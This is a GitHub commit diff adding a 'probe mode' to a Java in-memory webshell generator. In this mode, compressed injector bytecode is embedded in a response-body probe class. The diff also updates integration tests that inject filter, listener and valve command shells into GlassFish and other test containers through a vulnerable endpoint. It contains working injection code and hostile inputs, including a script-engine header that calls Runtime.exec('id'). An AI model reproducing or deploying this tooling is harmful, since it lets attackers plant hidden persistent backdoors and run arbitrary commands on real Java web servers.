Skip to content

Commit 2b79590

Browse files
committed
feat: support probe mode
1 parent 78f6098 commit 2b79590

File tree

78 files changed

+929
-51
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

78 files changed

+929
-51
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/MemShellGenerator.java

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,13 @@
66
import com.reajason.javaweb.memshell.config.ShellToolConfig;
77
import com.reajason.javaweb.memshell.generator.InjectorGenerator;
88
import com.reajason.javaweb.memshell.server.AbstractServer;
9+
import com.reajason.javaweb.probe.ProbeContent;
10+
import com.reajason.javaweb.probe.ProbeMethod;
11+
import com.reajason.javaweb.probe.config.ProbeConfig;
12+
import com.reajason.javaweb.probe.config.ResponseBodyConfig;
13+
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
914
import com.reajason.javaweb.utils.CommonUtil;
15+
import org.apache.commons.codec.binary.Base64;
1016
import org.apache.commons.lang3.StringUtils;
1117
import org.apache.commons.lang3.tuple.Pair;
1218

@@ -59,6 +65,25 @@ public static MemShellResult generate(ShellConfig shellConfig, InjectorConfig in
5965

6066
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig);
6167
byte[] injectorBytes = injectorGenerator.generate();
68+
if (shellConfig.isProbe() && !shellConfig.getShellType().startsWith(ShellType.AGENT)) {
69+
ProbeConfig probeConfig = ProbeConfig.builder()
70+
.shellClassName(injectorConfig.getInjectorClassName() + "1")
71+
.probeMethod(ProbeMethod.ResponseBody)
72+
.probeContent(ProbeContent.Bytecode)
73+
.targetJreVersion(shellConfig.getTargetJreVersion())
74+
.byPassJavaModule(shellConfig.isByPassJavaModule())
75+
.shrink(shellConfig.isShrink())
76+
.debug(shellConfig.isDebug())
77+
.staticInitialize(injectorConfig.isStaticInitialize())
78+
.build();
79+
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
80+
.server(serverName)
81+
.base64Bytes(Base64.encodeBase64String(CommonUtil.gzipCompress(injectorBytes)))
82+
.build();
83+
injectorBytes = new ResponseBodyGenerator(probeConfig, responseBodyConfig).getBytes();
84+
injectorConfig.setInjectorClassName(probeConfig.getShellClassName());
85+
}
86+
6287
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
6388

6489
return MemShellResult.builder()

generator/src/main/java/com/reajason/javaweb/memshell/config/ShellConfig.java

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -55,6 +55,12 @@ public class ShellConfig {
5555
@Builder.Default
5656
private boolean debug = false;
5757

58+
/**
59+
* 是否使用回显模式
60+
*/
61+
@Builder.Default
62+
private boolean probe = false;
63+
5864
/**
5965
* 是否启用缩小字节码
6066
*/
@@ -71,7 +77,6 @@ public boolean isDebugOff() {
7177
return !debug;
7278
}
7379

74-
7580
public boolean isJakarta() {
7681
return shellType.startsWith(ShellType.JAKARTA);
7782
}

generator/src/main/java/com/reajason/javaweb/memshell/server/AbstractServer.java

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
package com.reajason.javaweb.memshell.server;
22

3+
import org.apache.commons.lang3.StringUtils;
34
import org.apache.commons.lang3.tuple.Pair;
45

56
import java.util.Collections;
@@ -49,6 +50,9 @@ public Set<String> getSupportedShellTools() {
4950
}
5051

5152
public Pair<Class<?>, Class<?>> getShellInjectorPair(String shellTool, String shellType) {
53+
if (StringUtils.isBlank(shellTool)) {
54+
throw new IllegalArgumentException("shellTool is required");
55+
}
5256
ToolMapping mapping = map.get(shellTool);
5357
if (mapping == null) {
5458
throw new UnsupportedOperationException("please implement shell type: " + shellType + " for " + shellTool);

generator/src/main/java/com/reajason/javaweb/probe/config/ResponseBodyConfig.java

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -13,5 +13,14 @@
1313
@ToString
1414
public class ResponseBodyConfig extends ProbeContentConfig {
1515
private String server;
16+
17+
/**
18+
* 获取参数的请求头或请求参数名称
19+
*/
1620
private String reqParamName;
21+
22+
/**
23+
* 内置执行类加载的字节码
24+
*/
25+
private String base64Bytes;
1726
}

generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java

Lines changed: 10 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -36,14 +36,19 @@ protected DynamicType.Builder<?> build(ByteBuddy buddy) {
3636
Class<?> getDataFromReqInterceptor = getDataFromReqInterceptor.class;
3737
Class<?> writerClass = getWriterClass();
3838
Class<?> runnerClass = getRunnerClass();
39-
return buddy.redefine(writerClass)
39+
DynamicType.Builder<?> builder = buddy.redefine(writerClass)
4040
.name(probeConfig.getShellClassName())
4141
.visit(new TargetJreVersionVisitorWrapper(probeConfig.getTargetJreVersion()))
42-
.visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq",
43-
probeConfig.getShellClassName(), ShellCommonUtil.class.getName()))
44-
.visit(Advice.withCustomMapping().bind(NameAnnotation.class, name)
45-
.to(getDataFromReqInterceptor).on(named("getDataFromReq")))
4642
.visit(Advice.to(runnerClass).on(named("run")));
43+
if (StringUtils.isNotBlank(probeContentConfig.getReqParamName())) {
44+
builder = builder.visit(MethodCallReplaceVisitorWrapper.newInstance("getDataFromReq",
45+
probeConfig.getShellClassName(), ShellCommonUtil.class.getName()))
46+
.visit(Advice.withCustomMapping().bind(NameAnnotation.class, name)
47+
.to(getDataFromReqInterceptor).on(named("getDataFromReq")));
48+
} else if (ProbeContent.Bytecode.equals(probeConfig.getProbeContent())) {
49+
builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(probeContentConfig.getBase64Bytes()));
50+
}
51+
return builder;
4752
}
4853

4954
private Class<?> getRunnerClass() {

generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java

Lines changed: 6 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,9 @@
11
package com.reajason.javaweb.utils;
22

3+
import lombok.SneakyThrows;
4+
35
import java.io.ByteArrayInputStream;
46
import java.io.ByteArrayOutputStream;
5-
import java.io.IOException;
67
import java.security.SecureRandom;
78
import java.util.Arrays;
89
import java.util.HashSet;
@@ -45,15 +46,17 @@ public class CommonUtil {
4546
"Checker"
4647
};
4748

48-
public static byte[] gzipCompress(byte[] data) throws IOException {
49+
@SneakyThrows
50+
public static byte[] gzipCompress(byte[] data) {
4951
ByteArrayOutputStream out = new ByteArrayOutputStream();
5052
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
5153
gzip.write(data);
5254
}
5355
return out.toByteArray();
5456
}
5557

56-
public static byte[] gzipDecompress(byte[] data) throws IOException {
58+
@SneakyThrows
59+
public static byte[] gzipDecompress(byte[] data) {
5760
ByteArrayOutputStream out = new ByteArrayOutputStream();
5861
try (GZIPInputStream gzip = new GZIPInputStream(new ByteArrayInputStream(data))) {
5962
byte[] buffer = new byte[1024];

integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java

Lines changed: 9 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
package com.reajason.javaweb.integration;
22

33
import com.reajason.javaweb.integration.probe.DetectionTool;
4+
import com.reajason.javaweb.packer.Packers;
45
import com.reajason.javaweb.probe.ProbeContent;
56
import com.reajason.javaweb.probe.ProbeMethod;
67
import com.reajason.javaweb.probe.ProbeShellGenerator;
@@ -38,12 +39,12 @@ public static void responseBytecodeIsOk(String url, String server, int targetJre
3839
.build();
3940
ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
4041
RequestBody requestBody = new FormBody.Builder()
41-
.add("data", probeResult.getShellBytesBase64Str())
42+
.add("data", Packers.BigInteger.getInstance().pack(probeResult.toClassPackerConfig()))
4243
.add(reqParamName, DetectionTool.getServerDetection())
4344
.build();
4445
Request request = new Request.Builder()
4546
.header("Content-Type", "application/x-www-form-urlencoded")
46-
.url(url + "/b64").post(requestBody)
47+
.url(url + "/biginteger").post(requestBody)
4748
.build();
4849
try (Response response = new OkHttpClient().newCall(request).execute()) {
4950
assertEquals(server, response.body().string());
@@ -67,12 +68,12 @@ public static void responseBytecodeWithoutPrefixIsOk(String url, String server,
6768
.build();
6869
ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
6970
RequestBody requestBody = new FormBody.Builder()
70-
.add("data", probeResult.getShellBytesBase64Str())
71+
.add("data", Packers.BigInteger.getInstance().pack(probeResult.toClassPackerConfig()))
7172
.add(reqParamName, DetectionTool.getServerDetection().replace("yv66vgAAAD", ""))
7273
.build();
7374
Request request = new Request.Builder()
7475
.header("Content-Type", "application/x-www-form-urlencoded")
75-
.url(url + "/b64").post(requestBody)
76+
.url(url + "/biginteger").post(requestBody)
7677
.build();
7778
try (Response response = new OkHttpClient().newCall(request).execute()) {
7879
assertEquals(server, response.body().string());
@@ -95,14 +96,13 @@ public static void responseCommandIsOk(String url, String server, int targetJreV
9596
.reqParamName(headerName)
9697
.build();
9798
ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
98-
String content = probeResult.getShellBytesBase64Str();
9999
RequestBody requestBody = new FormBody.Builder()
100-
.add("data", content)
100+
.add("data", Packers.BigInteger.getInstance().pack(probeResult.toClassPackerConfig()))
101101
.build();
102102
Request request = new Request.Builder()
103103
.header("Content-Type", "application/x-www-form-urlencoded")
104104
.header(headerName, "id")
105-
.url(url + "/b64").post(requestBody)
105+
.url(url + "/biginteger").post(requestBody)
106106
.build();
107107
try (Response response = new OkHttpClient().newCall(request).execute()) {
108108
assertThat(response.body().string(), anyOf(
@@ -127,14 +127,13 @@ public static void responseScriptEngineIsOk(String url, String server, int targe
127127
.reqParamName(headerName)
128128
.build();
129129
ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
130-
String content = probeResult.getShellBytesBase64Str();
131130
RequestBody requestBody = new FormBody.Builder()
132-
.add("data", content)
131+
.add("data", Packers.BigInteger.getInstance().pack(probeResult.toClassPackerConfig()))
133132
.build();
134133
Request request = new Request.Builder()
135134
.header("Content-Type", "application/x-www-form-urlencoded")
136135
.header(headerName, "new java.util.Scanner(java.lang.Runtime.getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()")
137-
.url(url + "/b64").post(requestBody)
136+
.url(url + "/biginteger").post(requestBody)
138137
.build();
139138
try (Response response = new OkHttpClient().newCall(request).execute()) {
140139
assertThat(response.body().string(), anyOf(

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java

Lines changed: 48 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66
import com.reajason.javaweb.godzilla.GodzillaManager;
77
import com.reajason.javaweb.memshell.MemShellGenerator;
88
import com.reajason.javaweb.memshell.MemShellResult;
9+
import com.reajason.javaweb.memshell.ShellTool;
910
import com.reajason.javaweb.memshell.ShellType;
1011
import com.reajason.javaweb.memshell.config.*;
1112
import com.reajason.javaweb.packer.JarPacker;
@@ -27,6 +28,7 @@
2728
import org.apache.commons.lang3.RandomStringUtils;
2829
import org.apache.commons.lang3.StringUtils;
2930
import org.apache.commons.lang3.tuple.Pair;
31+
import org.hamcrest.Matchers;
3032
import org.testcontainers.containers.Container;
3133
import org.testcontainers.containers.GenericContainer;
3234
import org.testcontainers.utility.MountableFile;
@@ -185,11 +187,7 @@ public static void assertShellIsOk(MemShellResult generateResult, String shellUr
185187
godzillaIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig()));
186188
break;
187189
case Command:
188-
if (shellType.endsWith(ShellType.WEBSOCKET)) {
189-
webSocketCommandIsOk(shellUrl, "id");
190-
} else {
191-
commandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()), "id");
192-
}
190+
commandIsOk(shellUrl, shellType, ((CommandConfig) generateResult.getShellToolConfig()).getParamName(), "id");
193191
break;
194192
case Behinder:
195193
behinderIsOk(shellUrl, ((BehinderConfig) generateResult.getShellToolConfig()));
@@ -227,11 +225,15 @@ public static void godzillaIsOk(String entrypoint, GodzillaConfig shellConfig) {
227225
}
228226

229227
@SneakyThrows
230-
public static void commandIsOk(String entrypoint, CommandConfig shellConfig, String payload) {
228+
public static void commandIsOk(String entrypoint, String shellType, String paramName, String payload) {
229+
if (shellType.endsWith(ShellType.WEBSOCKET)) {
230+
webSocketCommandIsOk(entrypoint, payload);
231+
return;
232+
}
231233
OkHttpClient okHttpClient = new OkHttpClient();
232234
HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint))
233235
.newBuilder()
234-
.addQueryParameter(shellConfig.getParamName(), payload)
236+
.addQueryParameter(paramName, payload)
235237
.build();
236238
Request request = new Request.Builder()
237239
.url(url)
@@ -403,4 +405,43 @@ public static void injectIsOk(String url, String shellType, String shellTool, St
403405
default -> throw new IllegalStateException("Unexpected value: " + packer);
404406
}
405407
}
408+
409+
public static void testProbeInject(String url, String server, String serverVersion, String shellType, int targetJdkVersion) {
410+
String shellTool = ShellTool.Command;
411+
Packers packer = Packers.BigInteger;
412+
Pair<String, String> urls = ShellAssertion.getUrls(url, shellType, shellTool, packer);
413+
String shellUrl = urls.getLeft();
414+
String urlPattern = urls.getRight();
415+
ShellConfig shellConfig = ShellConfig.builder()
416+
.server(server)
417+
.serverVersion(serverVersion)
418+
.shellType(shellType)
419+
.shellTool(shellTool)
420+
.targetJreVersion(targetJdkVersion)
421+
.debug(false)
422+
.probe(true)
423+
.build();
424+
InjectorConfig injectorConfig = InjectorConfig.builder()
425+
.urlPattern(urlPattern)
426+
.staticInitialize(true)
427+
.build();
428+
String paramName = "tomcatProbe" + shellType;
429+
CommandConfig commandConfig = CommandConfig.builder()
430+
.paramName(paramName)
431+
.build();
432+
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig);
433+
String content = packer.getInstance().pack(generateResult.toClassPackerConfig());
434+
String res = VulTool.postIsOk(url + "/biginteger", content);
435+
assertThat(res, anyOf(
436+
Matchers.containsString("context: "),
437+
Matchers.containsString("server: "),
438+
Matchers.containsString("channel: ")
439+
440+
));
441+
ShellAssertion.commandIsOk(shellUrl, shellType, paramName, "id");
442+
}
443+
444+
public static void testProbeInject(String url, String server, String shellType, int targetJdkVersion) {
445+
testProbeInject(url, server, null, shellType, targetJdkVersion);
446+
}
406447
}

integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -46,7 +46,7 @@ public static void uploadJspFileToServer(String uploadUrl, String filename, Stri
4646
}
4747

4848
@SneakyThrows
49-
public static void postIsOk(String uploadUrl, String data) {
49+
public static String postIsOk(String uploadUrl, String data) {
5050
RequestBody requestBody = new FormBody.Builder()
5151
.add("data", data)
5252
.build();
@@ -56,8 +56,10 @@ public static void postIsOk(String uploadUrl, String data) {
5656
.url(uploadUrl).post(requestBody)
5757
.build();
5858
try (Response response = new OkHttpClient().newCall(request).execute()) {
59-
System.out.println(response.body().string());
59+
String res = response.body().string();
60+
System.out.println(res);
6061
Assertions.assertNotEquals(404, response.code());
62+
return res;
6163
}
6264
}
6365

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
package com.reajason.javaweb.integration.memshell.glassfish;
22

33
import com.reajason.javaweb.Server;
4+
import com.reajason.javaweb.integration.ShellAssertion;
45
import com.reajason.javaweb.integration.TestCasesProvider;
56
import com.reajason.javaweb.memshell.ShellType;
67
import com.reajason.javaweb.packer.Packers;
@@ -11,6 +12,7 @@
1112
import org.junit.jupiter.params.ParameterizedTest;
1213
import org.junit.jupiter.params.provider.Arguments;
1314
import org.junit.jupiter.params.provider.MethodSource;
15+
import org.junit.jupiter.params.provider.ValueSource;
1416
import org.testcontainers.containers.GenericContainer;
1517
import org.testcontainers.containers.Network;
1618
import org.testcontainers.containers.wait.strategy.Wait;
@@ -80,4 +82,13 @@ static void tearDown() {
8082
void test(String imageName, String shellType, String shellTool, Packers packer) {
8183
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
8284
}
85+
86+
@ParameterizedTest
87+
@ValueSource(strings = {ShellType.FILTER,
88+
ShellType.LISTENER,
89+
ShellType.VALVE,})
90+
void testProbeInject(String shellType) {
91+
String url = getUrl(container);
92+
ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6);
93+
}
8394
}

0 commit comments

Comments
 (0)